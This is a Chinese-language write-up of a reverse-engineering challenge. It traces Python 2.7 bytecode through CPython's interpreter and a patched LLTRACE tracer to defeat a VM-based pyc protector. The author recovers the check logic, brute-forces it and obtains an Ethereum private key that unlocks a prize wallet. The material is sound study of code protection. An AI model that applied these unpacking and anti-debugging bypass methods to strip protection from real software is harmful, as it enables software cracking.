`EXTENDED_ARG`。这是个特殊的`opcode`，值为`dis.EXTENDED_ARG`，遇到这个 opcode 则表示下一条指令的参数值
`next_oparg` 值需要进行拓展:
extented_arg = oparg * 65536
next_oparg = next_oparg + extended_arg
当然`EXTENDED_ARG`是可以级联的，从而支持任意大小的参数值。
## CodeType
要查看某个 Python 函数的字节码，比如:
def func(a):
return a + 42
可以通过`func.__code__`获取。或者直接编译:
c = "a = 3; b = 4; c = a + b"
co = compile(c, "", "exec")
`func.__code__`和`co`都是下面的 CodeType 类型:
class CodeType:
co_argcount: int
co_cellvars: Tuple[str, ...]
co_code: str
co_consts: Tuple[Any, ...]
co_filename: str
co_firstlineno: int
co_flags: int
co_freevars: Tuple[str, ...]
co_lnotab: str
co_name: str
co_names: Tuple[str, ...]
co_nlocals: int
co_stacksize: int
co_varnames: Tuple[str, ...]
前面介绍的字节码，就是`co_code`中的内容。而字节码中的参数`oparg`则是在对应数组(Tuple)中的位置。了解 PVM
翻译字节码过程最好的方法就是参考 dis 模块中的反汇编函数:
def disassemble(co, lasti=-1):
"""Disassemble a code object."""
code = co.co_code
labels = findlabels(code)
linestarts = dict(findlinestarts(co))
n = len(code)
i = 0
extended_arg = 0
free = None
while i < n:
c = code[i]
op = ord(c)
if i in linestarts:
if i > 0:
print
print "%3d" % linestarts[i],
else:
print ' ',
if i == lasti: print '-->',
else: print ' ',
if i in labels: print '>>',
else: print ' ',
print repr(i).rjust(4),
print opname[op].ljust(20),
i = i+1
if op >= HAVE_ARGUMENT:
oparg = ord(code[i]) + ord(code[i+1])*256 + extended_arg
extended_arg = 0
i = i+2
if op == EXTENDED_ARG:
extended_arg = oparg*65536L
print repr(oparg).rjust(5),
if op in hasconst:
print '(' + repr(co.co_consts[oparg]) + ')',
elif op in hasname:
print '(' + co.co_names[oparg] + ')',
elif op in hasjrel:
print '(to ' + repr(i + oparg) + ')',
elif op in haslocal:
print '(' + co.co_varnames[oparg] + ')',
elif op in hascompare:
print '(' + cmp_op[oparg] + ')',
elif op in hasfree:
if free is None:
free = co.co_cellvars + co.co_freevars
print '(' + free[oparg] + ')',
print
其中`hasconst`、`hashname`都是定义在`opcode`模块中的数组，包含对应字节码指令的参数类型，比如`LOAD_CONST`指令就包含在`hasconst`数组中，这只是一种方便的写法。
# 加固与脱壳
通过字节码基本上能还原出原始代码的逻辑，即还原出可阅读的反汇编代码；如果要更进一步，反编译出原始的 Python 代码也是可以的，因为 CodeType
对象中已经有了足够多的信息。
因此，出于保护的目的，就有了针对 python 代码的安全加固的需求，一般而言 python 代码加固有以下几种:
* 源码混淆，比如替换混淆变量名，例如 JavaScript 的 **uglify** 和 Java 的 **Proguard** ，目的是让代码变得不可读；
* 字节码混淆，在不提供源代码的前提下，针对特定版本的 Python 对字节码做了额外的执行流混淆和代码数据加密，并在运行时解密，不影响最终程序在标准 Python 解释器中的运行结果；
* 魔改解释器，使用了定制的 Python 解释器，对 opcode 等字节码的属性进行了替换和修改，与混淆后的字节码文件一并提供，并且无法在标准解释器中运行；
* 其他的组合技……
对于我们的目标而言，显然是第二种加固方法，因为输出的 pyc 文件可以在标准的 Python2.7
解释器中运行。查看直接反汇编的字节码，可以明显看出对抗的痕迹:
3 0 JUMP_ABSOLUTE 2764
3 LOAD_CONST 65535 (consts[65535])
6 <218> 50673
9 SET_ADD 18016
内部使用了许多跳转指令，并在期间插入各种无效指令，这也是标准的反编译模块会崩溃退出的原因之一。既然无法使用静态分析，那么动态调试就是一个直观的方案，因为
Python 作为一个解释执行的语言，所有字节码最终都是需要通过 PVM 虚拟机去解释的。
## CPython
为了分析 Python 如何解释执行字节码，我下载了默认的解释器 [CPython](https://github.com/python/cpython)
源码进行分析。首先从 `PyEval_EvalCode` 函数为入口找起:
PyObject *
PyEval_EvalCode(PyObject *co, PyObject *globals, PyObject *locals)
{
return PyEval_EvalCodeEx(co,
globals, locals,
(PyObject **)NULL, 0,
(PyObject **)NULL, 0,
(PyObject **)NULL, 0,
NULL, NULL);
}
经过漫长的调用链:
* PyEval_EvalCode
* PyEval_EvalCodeEx
* _PyEval_EvalCodeWithName
* _PyEval_EvalCode
* _PyEval_EvalFrame
* `tstate->interp->eval_frame`
* _PyEval_EvalFrameDefault
最终来到执行的函数`_PyEval_EvalFrameDefault`，该函数大约有 **3000** 行 C
代码，并且其中大量使用了宏来加速运算。前面说过 Python 字节码是基于栈的，这里的 Frame
就是指代某个栈帧，也就是当前执行流的上下文。栈帧中包括字节码、全局变量、本地变量等信息，如下所示:
struct _frame {
PyObject_VAR_HEAD
struct _frame *f_back; /* previous frame, or NULL */
PyCodeObject *f_code; /* code segment */
PyObject *f_builtins; /* builtin symbol table (PyDictObject) */
PyObject *f_globals; /* global symbol table (PyDictObject) */
PyObject *f_locals; /* local symbol table (any mapping) */
PyObject **f_valuestack; /* points after the last local */
PyObject *f_trace; /* Trace function */
int f_stackdepth; /* Depth of value stack */
char f_trace_lines; /* Emit per-line trace events? */
char f_trace_opcodes; /* Emit per-opcode trace events? */
/* Borrowed reference to a generator, or NULL */
PyObject *f_gen;
int f_lasti; /* Last instruction if called */
/* Call PyFrame_GetLineNumber() instead of reading this field
directly. As of 2.3 f_lineno is only valid when tracing is
active (i.e. when f_trace is set). At other times we use
PyCode_Addr2Line to calculate the line from the current
bytecode index. */
int f_lineno; /* Current line number */
int f_iblock; /* index in f_blockstack */
PyFrameState f_state; /* What state the frame is in */
PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */
PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */
};
这里的`PyCodeObject`就是字节码对象，和 dis 模块中的对象类似:
/* Bytecode object */
struct PyCodeObject {
PyObject_HEAD
int co_argcount; /* #arguments, except *args */
int co_posonlyargcount; /* #positional only arguments */
int co_kwonlyargcount; /* #keyword only arguments */
int co_nlocals; /* #local variables */
int co_stacksize; /* #entries needed for evaluation stack */
int co_flags; /* CO_..., see below */
int co_firstlineno; /* first source line number */
PyObject *co_code; /* instruction opcodes */
PyObject *co_consts; /* list (constants used) */
PyObject *co_names; /* list of strings (names used) */
PyObject *co_varnames; /* tuple of strings (local variable names) */
PyObject *co_freevars; /* tuple of strings (free variable names) */
PyObject *co_cellvars; /* tuple of strings (cell variable names) */
/* The rest aren't used in either hash or comparisons, except for co_name,
used in both. This is done to preserve the name and line number
for tracebacks and debuggers; otherwise, constant de-duplication
would collapse identical functions/lambdas defined on different lines.
*/
Py_ssize_t *co_cell2arg; /* Maps cell vars which are arguments. */
PyObject *co_filename; /* unicode (where it was loaded from) */
PyObject *co_name; /* unicode (name, for reference) */
PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See
Objects/lnotab_notes.txt for details. */
// ...
}
回到(默认的)`eval_frame`函数，抽取一些关键部分如下:
#define JUMPTO(x) (next_instr = first_instr + (x) / sizeof(_Py_CODEUNIT))
PyObject* _Py_HOT_FUNCTION
_PyEval_EvalFrameDefault(PyThreadState *tstate, PyFrameObject *f, int throwflag)
{
//...
if (tstate->use_tracing) {
if (tstate->c_tracefunc != NULL) {
if (call_trace_protected(tstate->c_tracefunc,
tstate->c_traceobj,
tstate, f, PyTrace_CALL, Py_None)) {
/* Trace function raised an error */
goto exit_eval_frame;
}
}
}
// ...
first_instr = (_Py_CODEUNIT *) PyBytes_AS_STRING(co->co_code);
next_instr = first_instr;
// ...
main_loop:
for (;;) {
assert(stack_pointer >= f->f_valuestack); /* else underflow */
assert(STACK_LEVEL() <= co->co_stacksize); /* else overflow */
assert(!_PyErr_Occurred(tstate));
fast_next_opcode:
if (PyDTrace_LINE_ENABLED())
maybe_dtrace_line(f, &instr_lb, &instr_ub, &instr_prev);
/* line-by-line tracing support */
if (trace...) {
err = maybe_call_line_trace(tstate->c_tracefunc,
tstate->c_traceobj,
tstate, f,
&instr_lb, &instr_ub, &instr_prev);
}
dispatch_opcode:
// ...
switch (opcode) {
case TARGET(NOP): {
FAST_DISPATCH();
}
case TARGET(LOAD_FAST): {/*...*/}
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
case TARGET(STORE_FAST): {/*...*/}
case TARGET(POP_TOP): {/*...*/}
// ...
case TARGET(BINARY_MULTIPLY): {
PyObject *right = POP();
PyObject *left = TOP();
PyObject *res = PyNumber_Multiply(left, right);
Py_DECREF(left);
Py_DECREF(right);
SET_TOP(res);
if (res == NULL)
goto error;
DISPATCH();
}
// ...
case TARGET(JUMP_ABSOLUTE): {
PREDICTED(JUMP_ABSOLUTE);
JUMPTO(oparg);
#if FAST_LOOPS
/* Enabling this path speeds-up all while and for-loops by bypassing
the per-loop checks for signals. By default, this should be turned-off
because it prevents detection of a control-break in tight loops like
"while 1: pass". Compile with this option turned-on when you need
the speed-up and do not need break checking inside tight loops (ones
that contain only instructions ending with FAST_DISPATCH).
*/
FAST_DISPATCH();
#else
DISPATCH();
#endif
}
// ...
case TARGET(EXTENDED_ARG): {
int oldoparg = oparg;
NEXTOPARG();
oparg |= oldoparg << 8;
goto dispatch_opcode;
}
// ...
// switch end
}
/* This should never be reached. Every opcode should end with DISPATCH()
or goto error. */
Py_UNREACHABLE();
error:
// ...
exception_unwind:
// ...
exiting:
// ...
}
}
/* pop frame */
exit_eval_frame:
// ...
return _Py_CheckFunctionResult(tstate, NULL, retval, __func__);
}
大部分的代码是对字节码中的 opcode 进行 switch/case 处理，上面截取了几个提到的字节码，比如
LOAD_CONST、JUMP_ABSOLUTE、BINARY_MULTIPLY、EXTENDED_ARG 等，根据代码的执行流程大概知道了 Python
解释器如何对这些字节码进行理解。
## c_tracefunc
在 switch 语句之前有部分代码值得注意，即关于`c_tracefunc`的处理。从代码中看出，Python实际上内置了追踪字节码的功能。我们可以使用
`sys.settrace` 来设置跟踪函数，下面是一个简单的例子:
#!/usr/bin/env python2
import sys
import dis
def func(a, b):
c = a + b
return c * 10
co = func.__code__
dis.disassemble(co)
def mytrace(frame, why, arg):
print "Trace", frame, why, arg
return mytrace
print "=== Trace Start ==="
sys.settrace(mytrace)
func(3, 4)
输出如下:
$ ./demo.py
6 0 LOAD_FAST 0 (a)
3 LOAD_FAST 1 (b)
6 BINARY_ADD
7 STORE_FAST 2 (c)
7 10 LOAD_FAST 2 (c)
13 LOAD_CONST 1 (10)
16 BINARY_MULTIPLY
17 RETURN_VALUE
=== Trace Start ===
Trace <frame object at 0x10b8cb218> call None
Trace <frame object at 0x10b8cb218> line None
Trace <frame object at 0x10b8cb218> line None
Trace <frame object at 0x10b8cb218> return 70
Trace <frame object at 0x10b98c050> call None
Trace <frame object at 0x10b98c050> call None
Python 的标准库中也提供了 [trace 模块](https://docs.python.org/2/library/trace.html)
来支持字节码跟踪，查看该模块的的源码发现实际上也是用了 `sys.settrace` 或者 `threading.settrace` 来设置跟踪回调。
不过，使用 sys.trace 并不是每条指令都跟踪的，只针对特定事件进行跟踪:
* call: 函数调用
* return: 函数返回
* line: 一行新代码
* exception: 异常事件
而且该代码中也做了对应的防护，使用 trace 启动脚本直接报错:
SystemError: A debugger has been found running in your system. Please, unload it from memory and restart.
Python 的 trace 功能可以用来实现行覆盖率以及调试器等强大的功能，只是对于我们这次的目标并不适用。
类似的回调还有 `c_profilefunc` ，不过该函数不对 line 事件进行触发。
## LLTRACE
Python 有一个鲜为人知的特性是可以在 Debug 编译时启用底层跟踪 LLTRACE (即 Low Level Trace)，这也是在查看
`ceval.c` 时发现的:
next_instr = first_instr + f->f_lasti + 1;
stack_pointer = f->f_stacktop;
assert(stack_pointer != NULL);
f->f_stacktop = NULL; /* remains NULL unless yield suspends frame */
#ifdef LLTRACE
lltrace = PyDict_GetItemString(f->f_globals, "__lltrace__") != NULL;
#endif
#if defined(Py_DEBUG) || defined(LLTRACE)
filename = PyString_AsString(co->co_filename);
#endif
why = WHY_NOT;
err = 0;
x = Py_None; /* Not a reference, just anything non-NULL */
w = NULL;
if (throwflag) { /* support for generator.throw() */
why = WHY_EXCEPTION;
goto on_error;
}
for (;;) {
// 循环解释执行 Python 字节码
}
Low Level Trace 一方面需要编译时启用，另一方面也需要在运行时当前栈帧定义了全局变量`__lltrace__`。
还是实践出真知，先写个简单的测试文件:
# test.py
__lltrace__ = 1
def add(a, b):
return a + b - 42
a = 3
c = add(a, 4)
使用 Debug 编译的 Python 运行结果如下:
$ /cpython_dbg/bin/python2.7 test.py
0: 124, 0
push 3
3: 124, 1
push 4
6: 23
pop 4
7: 100, 1
push 42
10: 24
pop 42
11: 83
pop -35
ext_pop 4
ext_pop 3
ext_pop <function add at 0x7f95944a0e28>
push -35
33: 90, 3
pop -35
36: 100, 4
push None
39: 83
pop None
打印的数字从下面的代码而来:
if (lltrace) {
if (HAS_ARG(opcode)) {
printf("%d: %d, %d\n",
f->f_lasti, opcode, oparg);
}
else {
printf("%d: %d\n",
f->f_lasti, opcode);
}
}
其中 push/pop 相关的输出来源是如下栈追踪相关的函数:
#ifdef LLTRACE
static int
prtrace(PyObject *v, char *str)
{
printf("%s ", str);
if (PyObject_Print(v, stdout, 0) != 0)
PyErr_Clear(); /* Don't know what else to do */
printf("\n");
return 1;
}
#define PUSH(v) { (void)(BASIC_PUSH(v), \
lltrace && prtrace(TOP(), "push")); \
assert(STACK_LEVEL() <= co->co_stacksize); }
#define POP() ((void)(lltrace && prtrace(TOP(), "pop")), \
BASIC_POP())
#define STACKADJ(n) { (void)(BASIC_STACKADJ(n), \
lltrace && prtrace(TOP(), "stackadj")); \
assert(STACK_LEVEL() <= co->co_stacksize); }
#define EXT_POP(STACK_POINTER) ((void)(lltrace && \
prtrace((STACK_POINTER)[-1], "ext_pop")), \
*--(STACK_POINTER))
#else
#define PUSH(v) BASIC_PUSH(v)
#define POP() BASIC_POP()
#define STACKADJ(n) BASIC_STACKADJ(n)
#define EXT_POP(STACK_POINTER) (*--(STACK_POINTER))
#endif
上面的 lltrace 输出可以记录每条字节码的执行，并且会打印堆栈的变化，因此在追踪和调试字节码上非常有用。
> 更多 LLTRACE 相关内容见:
> <https://github.com/python/cpython/blob/master/Misc/SpecialBuilds.txt>
# Python VMP
现在有了 LLTRACE 的功能，但是要实现 `ether_v2.py` 的追踪还需要解决几个问题:
1. LLTRACE 的启用需要在当前栈帧上定义全局变量 `__lltrace__`；
2. LLTRACE 输出的字节码过于简略，缺乏可读性；
3. LLTRACE 输出的字节码是运行的代码，也就是循环展开后(flatten)的代码，进一步影响逆向分析；
所以我使用了一个简单粗暴的方法，即直接修改 CPython 源代码。首先在判断 lltrace 启用的地方修改判断从`f->f_globals`
改为递归搜索 `f->f_back->f_globals`，这样只要在我们的调用栈帧定义变量即可；对于字节码的输出，最好是可以有类似 dis
模块的显示效果，至于平坦化的控制流，可以根据指令 index 再重新进行组合。
## Dynamic Trace
在 LLTRACE 的基础上，我们可以比较简单地修改出一版具有可读性的 Trace 代码，以下面的源码为例:
# test.py
__pztrace__ = 1
def validate(s):
if len(s) != 4:
return False
cc = 0
for i in s:
cc ^= ord(i)
if cc == 0:
return True
return False
s = raw_input('Your input: ')
if validate(s):
print 'ok'
else:
print 'failed'
其中`__pztrace__`是我新定义的全局跟踪触发标记，在没有源码的前提下，运行上述字节码可实时打印字节码如下:
$ /build/cpython/build/bin/python2.7 test.py
Your input: helloworld
=== pztrace test.py ===
0 LOAD_GLOBAL 0; push <built-in function len>
3 LOAD_FAST 0; push 'helloworld'
6 CALL_FUNCTION 1
ext_pop 'helloworld'
ext_pop <built-in function len>
push 10
9 LOAD_CONST 1; push 4
12 COMPARE_OP 3 (!=) ; pop 4
15 POP_JUMP_IF_FALSE 22; pop True
18 LOAD_GLOBAL 1; push False
21 RETURN_VALUE; pop False
ext_pop 'helloworld'
ext_pop <function validate at 0x7fe13a5f4ed0>
push False
36 POP_JUMP_IF_FALSE 47; pop False
47 LOAD_CONST 4; push 'failed'
50 LOAD_BUILD_CLASS; pop 'failed'
failed 51 YIELD_FROM;
52 LOAD_CONST 5; push None
55 RETURN_VALUE; pop None
将每条字节码后对应的栈操作以及实时数据输出，更加有利于对代码的理解。从上面的字节码输出中可以基本看出实际的操作，而且打印出来的是已经执行到的分支，通过调整输入可以触达不同的分支，如下为输入`abab`的跟踪流程:
$ /build/cpython/build/bin/python2.7 test.py
Your input: abab
=== pztrace test.py ===
0 LOAD_GLOBAL 0; push <built-in function len>
3 LOAD_FAST 0; push 'abab'
6 CALL_FUNCTION 1
ext_pop 'abab'
ext_pop <built-in function len>
push 4
9 LOAD_CONST 1; push 4
12 COMPARE_OP 3 (!=) ; pop 4
15 POP_JUMP_IF_FALSE 22; pop False
22 LOAD_CONST 2; push 0
25 STORE_FAST 1; pop 0
28 SETUP_LOOP 30
31 LOAD_FAST 0; push 'abab'
34 GET_ITER
35 FOR_ITER 22; push 'a'
38 STORE_FAST 2; pop 'a'
41 LOAD_FAST 1; push 0
44 LOAD_GLOBAL 2; push <built-in function ord>
47 LOAD_FAST 2; push 'a'
50 CALL_FUNCTION 1
ext_pop 'a'
ext_pop <built-in function ord>
push 97
53 INPLACE_XOR; pop 97
54 STORE_FAST 1; pop 97
57 JUMP_ABSOLUTE 35
35 FOR_ITER 22; push 'b'
38 STORE_FAST 2; pop 'b'
41 LOAD_FAST 1; push 97
44 LOAD_GLOBAL 2; push <built-in function ord>
47 LOAD_FAST 2; push 'b'
50 CALL_FUNCTION 1
ext_pop 'b'
ext_pop <built-in function ord>
push 98
53 INPLACE_XOR; pop 98
54 STORE_FAST 1; pop 3
57 JUMP_ABSOLUTE 35
35 FOR_ITER 22; push 'a'
38 STORE_FAST 2; pop 'a'
41 LOAD_FAST 1; push 3
44 LOAD_GLOBAL 2; push <built-in function ord>
47 LOAD_FAST 2; push 'a'
50 CALL_FUNCTION 1
ext_pop 'a'
ext_pop <built-in function ord>
push 97
53 INPLACE_XOR; pop 97
54 STORE_FAST 1; pop 98
57 JUMP_ABSOLUTE 35
35 FOR_ITER 22; push 'b'
38 STORE_FAST 2; pop 'b'
41 LOAD_FAST 1; push 98
44 LOAD_GLOBAL 2; push <built-in function ord>
47 LOAD_FAST 2; push 'b'
50 CALL_FUNCTION 1
ext_pop 'b'
ext_pop <built-in function ord>
push 98
53 INPLACE_XOR; pop 98
54 STORE_FAST 1; pop 0
57 JUMP_ABSOLUTE 35
35 FOR_ITER 22; pop <iterator object at 0x7f871d28ca00>
60 POP_BLOCK
61 LOAD_FAST 1; push 0
64 LOAD_CONST 2; push 0
67 COMPARE_OP 2 (==) ; pop 0
70 POP_JUMP_IF_FALSE 77; pop True
73 LOAD_GLOBAL 3; push True
76 RETURN_VALUE; pop True
ext_pop 'abab'
ext_pop <function validate at 0x7f871d28ded0>
push True
36 POP_JUMP_IF_FALSE 47; pop True
39 LOAD_CONST 3; push 'ok'
42 LOAD_BUILD_CLASS; pop 'ok'
ok
43 YIELD_FROM;
44 JUMP_FORWARD 5
52 LOAD_CONST 5; push None
55 RETURN_VALUE; pop None
由于是实时跟踪，因此上面的字节码是循环展开之后的。对于不熟悉的字节码，比如`FOR_ITER`等，可以辅助参考[Python dis
模块](https://docs.python.org/2.7/library/dis.html)的解释加以理解。
## Get The ETH！
回到我们最初的挑战，使用修改后的 trace 功能去跟踪`ether_v2.pyc`，结果如下:
-------------------------------------------------------------------------------- Python version: 2.7.16
Magic code: 03f30d0a
Timestamp: Fri Mar 10 21:08:20 2017
Size: None
=== pztrace pyprotect.angelic47.com ===
0 JUMP_ABSOLUTE 2764
2764 LOAD_CONST 1; push -1
2767 LOAD_CONST 0; push None
2770 IMPORT_NAME 0; pop None
2773 STORE_FAST 2; pop <module 'marshal' (built-in)>
2776 LOAD_CONST 1; push -1
2779 LOAD_CONST 0; push None
2782 IMPORT_NAME 1; pop None
2785 STORE_FAST 3; pop <module 'sys' (built-in)>
2788 LOAD_CONST 1; push -1
2791 LOAD_CONST 0; push None
2794 IMPORT_NAME 2; pop None
...
前面一部分和之前直接使用修改过的 dis
模块反编译结果类似，只不过跳过了中间的垃圾代码。其中`co->co_filename`的名称是`pyprotect.angelic47.com`，访问一下发现正是提供
Python 加密的网页:
介绍上基本和前面的分析吻合，这里先把这个网站放一边，继续往下看代码。由于运行时用户输入，然后返回`You are too vegetable please
try again!`，因此直接搜索此字符串:
...
6114 LOAD_FAST 42; push 154
6117 LOAD_CONST 75; push 154
6120 COMPARE_OP 2 (==) ; pop 154
6123 POP_JUMP_IF_FALSE 6142; pop True
6126 LOAD_FAST 28; push ['You are too vegetable please try again!']
6129 LOAD_ATTR 44
6132 CALL_FUNCTION 0
ext_pop <built-in method pop of list object at 0x7f1871b1f8d0>
push 'You are too vegetable please try again!'
6135 LOAD_BUILD_CLASS; pop 'You are too vegetable please try again!'
You are too vegetable please try again!
这里在指令`6123`的判断中判断为`True`导致跳转到了错误提示打印的分支，反向分析该字符串的来源，如下所示:
该加密流程将字符串本身也在内存中解密，因此我们静态搜索无法搜到相关的字节码逻辑，解密后内存中的字符串表如下所示:
s[0]: -1
s[1]: None
s[2]: ==--AVMPROTECTFUNCTION--==
s[3]: bce0af39a797
s[4]: 9d8e9bcfe8d3
s[5]: WARNING×WARNING×WARNING
s[6]: WARNING WARNING WARNING YOU
s[7]: Ba Ba Battle You Battle You Battle You
s[8]: (And watch out!)
s[9]: WARNING WARNING WARNING HELL
s[10]: Yeah you cannot die not at this time!
s[11]: WARNING!
s[12]: 你对我有何居心呢？
s[13]: 别随意地进来啊
s[14]: 非常危险的气息
s[15]: 绝对回避不能的弹幕
s[16]: 要是小看本娘的话
s[17]: 你铁定会不停尝到BAD END
s[18]: 你的心可是一定会
s[19]: WARNING WARNING
s[20]: 不得不警示警报的吧
s[21]: Input UR answer:
s[22]: 33c0691e3230d16fb434e5
s[23]: 8ce92dc3fe708e5b81a848
s[24]: k
s[25]: 171
s[26]: e
s[27]: 44
s[28]: y
s[29]: You are too vegetable please try again!
s[30]: Vegetable!!! Bad end!!!
s[31]: hex
s[32]: Very Very Vegetable!!! Bad end!!!
s[33]: base64
s[34]: Really Really Vegetable!!! Bad end!!!
s[35]:
s[36]: 37
s[37]: 要是下定决心就来吧
s[38]: 或许会感到兴奋
s[39]: 或是激动也说不定
s[40]: 一边感到无聊 一边吹着口哨
s[41]: 真不错呢 单纯的旋律
s[42]: 本娘还会还会还会继续上喔!
s[43]: 看好给本娘更加更加地躲开吧！
s[44]: 你有多少能耐呢？
s[45]: 对上本娘热情如火的爱？
s[46]: 0
s[47]: 3
s[48]: 1
s[49]: 2
s[50]: 4
s[51]: 94
s[52]: 204
s[53]: Burning!
s[54]: 本娘好开心!
s[55]: 不得了?
s[56]: 但是, 果然很开心吧?
s[57]: *********************
s[58]: 再一次华丽的闪过吧!
s[59]: 看啊还有更多更多喔!
s[60]: 都给本娘确切地闪过!
s[61]: 255
s[62]: 本娘被打进了结局！？
s[63]: 本娘可不能输!
s[64]: 虽然很不甘心
s[65]: 但是很开心 WARNING!!!
s[66]: 本娘警告你，这是你最后的机会
s[67]: 本娘超级地~危险、狂气
s[68]: 而且你无法逃避我华丽的弹幕
s[69]: 28
s[70]: 32
s[71]: 12
s[72]: 16
s[73]: 8
s[74]: 24
s[75]: 20
s[76]: M
s[77]: 13
s[78]: m
s[79]: ps1q6r14s2sn8o8o1n5982rq31o33143p52337s9870snq1r0rrr9s04qr58q9n53pq187q467p0949o8803r10909p332413oo3oq914847qo0n29qo81n1s90pq0330os586rr929r34884rqo351s6660q2ss8113923n911555s62sq3p3os78039o7q024pp03r8os0083r856599095ror8pr7op04r6oq485q3s558o4n39qrpn1n43o2
s[80]: 本娘很开心!
s[81]: Good! But wrong answer, please try again!
s[82]: You are SUPER Vegetable!!! Bad end!!!
s[83]: Nice job! To get your ETH, please use your answer as private key!
s[84]: If ur interested with this Python-VirtualMachine Protect, please contact [email protected] for more technical information!
s[85]: 不得了？但是，果然很开心吧
s[86]: 没错，现在是狂气时间
s[87]: 欢迎来到疯狂的世界!
s[88]: -- END --
注意打印日志中只输出了目前为止所运行到的代码，也就是说对于未触及的分支是不显示在其中的。为了增加覆盖率，触达新的分支，就需要改变上面的上面执行分支:
7092 LOAD_FAST 22; push (字符串表...)
7095 LOAD_FAST 32; push 29
7098 BINARY_SUBSCR; pop 29
7099 CALL_FUNCTION 1
ext_pop 'You are too vegetable please try again!'
即需要执行到这里的时候字符串表的索引不是29，进而决定前面指令中`STORE_FAST
32`的结果不能是29，……根据对输入字符串的处理，可以猜测输入的总长度需要是 **64字节** ，验证一下:
$ python2 ether_v2.pyc
Input UR answer: 1111111122222222333333334444444455555555666666667777777788888888
Good! But wrong answer, please try again!
确实产生了不同的输出。继续往前分析，可以大概梳理出判断的逻辑，所幸关键代码不是很复杂，手动还原伪代码如下所示:
#!/usr/bin/env python2
// pwn.py
import base64
import hashlib
flag = 'bce0af39a7973d8efcb9e8d933c0691e3230d16fb434e5848a18b5e807ef3cd29ec8'
flag = flag.decode('hex')
flag = base64.b64encode(flag) + '\n'
# vOCvOaeXPY78uejZM8BpHjIw0W+0NOWEihi16AfvPNKeyA==\n
pz_list = []
for x in flag:
pz_list.append(chr(ord(x) ^ 37))
flag = ''.join(pz_list)
# 'SjfSjD@}u|\x12\x1dP@O\x7fh\x1dgUmOlR\x15r\x0e\x15kjr`LML\x14\x13dCSukn@\\d\x18\x18/'
flag_1 = '1111111122222222333333334444444455555555666666667777777788888888'
if len(flag_1) + ord('e') < 44 + ord('y'):
print 'You are too vegetable please try again!'
sys.exit(1)
flag_1 = flag_1.decode('hex')
ll = []
for l1, llll in enumerate(flag_1):
if l1 % 4 == 0:
ll.append(ord(llll) ^ ord(flag[(l1 >> 4) + 3]) ^ 204)
elif l1 % 4 == 1:
ll.append(ord(llll) ^ ord(flag[(l1 >> 4) + 1]) ^ 94)
elif l1 % 4 == 2:
ll.append(ord(llll) ^ ord(flag[(l1 >> 4) + 0]) ^ 171)
else:
ll.append(ord(llll) ^ ord(flag[(l1 >> 4) + 2]) ^ 37)
print ll
ll = [ i ^ 255 for i in ll ]
print ll
def calc(ll, a, b, o=1):
s = ll[a:b]
if o == -1:
s = s[::-1]
ret = hashlib.md5(''.join([ chr(i) for i in s ]).encode('hex')).hexdigest()
print s, ':', ret
return ret
l1ll1lll = calc(ll, 28, 32)
lllllll1 = calc(ll, 12, 16)
ll1lllll = calc(ll, 4, 8)
ll1lll1l = calc(ll, 24, 28)
lllll1ll = calc(ll, 0, 4)
llll1lll = calc(ll, 16, 20, -1)
l1llllll = calc(ll, 8, 12)
llllll1l = calc(ll, 20, 24)
l1l11lll = l1ll1lll + lllllll1 + ll1lllll + ll1lll1l + lllll1ll + llll1lll + l1llllll + llllll1l
print l1l11lll
res = ''
for c in l1l11lll:
k = c
if c.islower():
if c <= 'm':
k = chr(ord(c) + 13)
else:
pass
if c.isupper():
pass
res += k
print res
if res != 'ps1q6r14s2sn8o8o1n5982rq31o33143p52337s9870snq1r0rrr9s04qr58q9n53pq187q467p0949o8803r10909p332413oo3oq914847qo0n29qo81n1s90pq0330os586rr929r34884rqo351s6660q2ss8113923n911555s62sq3p3os78039o7q024pp03r8os0083r856599095ror8pr7op04r6oq485q3s558o4n39qrpn1n43o2':
print 'Good! But wrong answer, please try again!'
sys.exit(1)
# ...
关键逻辑就是以下几步:
1. 首先判断输入是否为64字节；
2. 将输入与一些魔术字进行异或处理；
3. 将处理后的输入分为8组，每组8字节，并对每组求md5(其中16:20的组还经过了翻转，很调皮)；
4. 将分别求出的MD5再次进行组合;
5. 组合后的MD5再次进行一些字符串处理，最后与魔术字`ps1q6r14s2sn8o8o...`进行比较。
由于每组求md5只需要8字节的求解空间，因此可以在很快的时间内进行爆破获取到原始的正确输入，最终的正确输入即是题干所给的以太坊钱包私钥。
以太坊的私钥长度和比特币一样是256位的随机数，其值需要小于 `secp256k1` 椭圆曲线的阶 n (值为`ffffffff ffffffff
ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141`)，可以使用 [go-ethereum](https://github.com/ethereum/go-ethereum) 或者
[ethereumjs](https://github.com/ethereumjs/ethereumjs-wallet)
等开源实现来生成和验证合法的钱包公私钥。
$ cat private.key
***********
$ geth account import private.key
INFO [10-11|20:14:07.359] Maximum peer count ETH=50 LES=0 total=50
INFO [10-11|20:14:07.360] Smartcard socket not found, disabling err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [10-11|20:14:07.438] Set global gas cap cap=25000000
Your new account is locked with a password. Please give a password. Do not forget this password.
Password:
Repeat password:
Address: {d0fe5288c5320bb898498fa45fa4f7c324e1e074}
[d0fe5288c5320bb898498fa45fa4f7c324e1e074](https://etherscan.io/address/0xd0fe5288c5320bb898498fa45fa4f7c324e1e074)
正是题目所给的以太坊钱包地址，然后直接用私钥转账即可。
## 小结
由于接触 Python
虚拟机不多，因此在阅读理解字节码上颇为花费了一点时间。从加固的代码模式来看，该加固工具应该是自己实现并维护了一个用户态的虚拟机，名为`AVMP`，确实是可以比较有效地防止无脑逆向工程，提高逆向难度。只不过由于
Python 的解释性特性使得代码加固很难得到有效混淆，因此一般商业化的 Python 加固都是直接将深度定制的 Python
解释器一起打包作为输出，不兼容标准解释器。值得一提的是，该 Python
虚拟机加固还实现了变量混淆、反调试等功能，完成度可以说相当高了；另外其作者自称47娘 (angelic47)，似乎还是个女生，真是巾帼不让须眉啊。
# 后记
虚拟机加固(VMP)是当今很常见的一种代码保护方案，不管是 X86 机器码(汇编)，安卓的 DEX 字节码还是 Python
字节码，其本质上是从处理器中抢活干，自身在用户空间实现代码执行的状态机，有的还自己实现一套中间指令集。正如伟人所说 —— 世上本没有
VMP，对抗得深了，自然就成了 VMP。
# LINKS
